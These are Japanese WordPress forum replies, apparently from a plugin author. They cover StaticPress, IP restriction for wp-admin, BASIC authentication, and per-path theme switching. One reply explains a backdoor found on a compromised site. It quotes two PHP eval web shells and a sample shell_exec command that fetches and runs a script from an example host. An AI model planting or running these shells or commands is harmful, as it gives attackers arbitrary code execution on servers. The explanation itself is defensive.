wokamoto

StaticPress 作者です。
現在 StaticPress には定期的に再構築する機能はありませんし、今後もその機能を実装する予定もありません。
ただ発想としては面白いので、気が向いたら実装するかもしれません。

StaticPress では github でもソースを公開しています。
https://github.com/megumiteam/staticpress

もし、そのような機能を実装されるのであれば、ぜひプルリクエストしてください。

上のディレクトリに置いたのであれば ip_check::is_allowed_ip() を呼び出す部分を変更します。
以下のような感じです。

if ( preg_match('#(/wp-admin/.*|wp-login\.php)#i', $_SERVER['REQUEST_URI']) && !preg_match('#admin-ajax\.php#i', $_SERVER['REQUEST_URI']) ) {
  require( dirname(__FILE__) . '/ip_check.php' );
  if ( !ip_check::is_allowed_ip( dirname(dirname(__FILE__)) . '/.allowed_ip' ) ) {
    header("HTTP/1.1 403 Forbidden");
    echo "403 Forbidden\n";
    die();
  }
}

マルチサイトで検証していないので恐縮ですが…
拙作のプラグイン WP Basic Auth で対応できるかもです。
http://wordpress.org/plugins/wp-basic-auth/

このプラグインは有効にするだけで WordPress のユーザ名/パスワードでサイト全体に BASIC 認証がかかります。
ただし、画像ファイル等の静的ファイルについては BASIC 認証がかからないので注意してください。

どうも、memo.dogmap.jp を書いてるものです。
コメント欄でも指摘されていますが core.trac で追加されてることが言及されてますね。
http://core.trac.wordpress.org/ticket/19607

/admin/ のほか、/login/, /dashboard/ でも大丈夫です。

switch 文を使えば簡単ですね。

// REQUEST_URL から一番上の階層を取り出す
$cat = preg_replace('#^/([^/]+)/?.*$#', '$1', $_SERVER['REQUEST_URI']);

// abaout, news, blog によって、テーマを変更する
$overrideTheme = false;
switch ($cat) {
    case 'about':
		$overrideTheme = 'twentyten';
		break;
    case 'news':
		$overrideTheme = 'twentyeleven';
		break;
    case 'blog':
		$overrideTheme = 'twentytwelve';
		break;
}

// テーマのオーバーライド
if ( $overrideTheme  ) {
    $overrideTheme = wp_get_theme($overrideTheme);
    if ( $overrideTheme->exists() ) {
        return $overrideTheme['Template'];
    } else {
        return $theme;
    }
} else {
    return $theme;
}

<?eval(stripslashes(array_pop($_POST)))?>

これは $_POST 配列の最後の値を取り出して、その文字列を PHP コードとして実行するための記述です。
$_POST 配列には、サーバに POST メソッドで送られた値が入りますので、例えば POST で以下のような文字列が送られてきた場合、サーバで UNIX コマンドが実行されてしまいます。

shell_exec('wget http://example.com/evil.script.sh; ./evil.script.sh');

攻撃者は、任意の PHP コードを、HTTP の POST メソッドで送りつけて、あなたのサーバで実行させることができるため、大変危険です。

if (isset($_REQUEST['asc'])) { eval(stripslashes($_REQUEST['asc'])); exit; }/* v0xXJf2 */

こちらも、同様に $_REQUEST[‘asc’] という値があれば、それを PHP コードとして実行します。
$_REQUEST には、POST, GET, COOKIE 等で送られてきたデータが入ります。
攻撃者は POST や GET メソッドで asc という名前で PHP コードを送りつけて、あなたのサーバで実行させることができます。

おっ、良かったです。
問題が解決したのであれば、このスレッドを「解決済み」にしておいてください。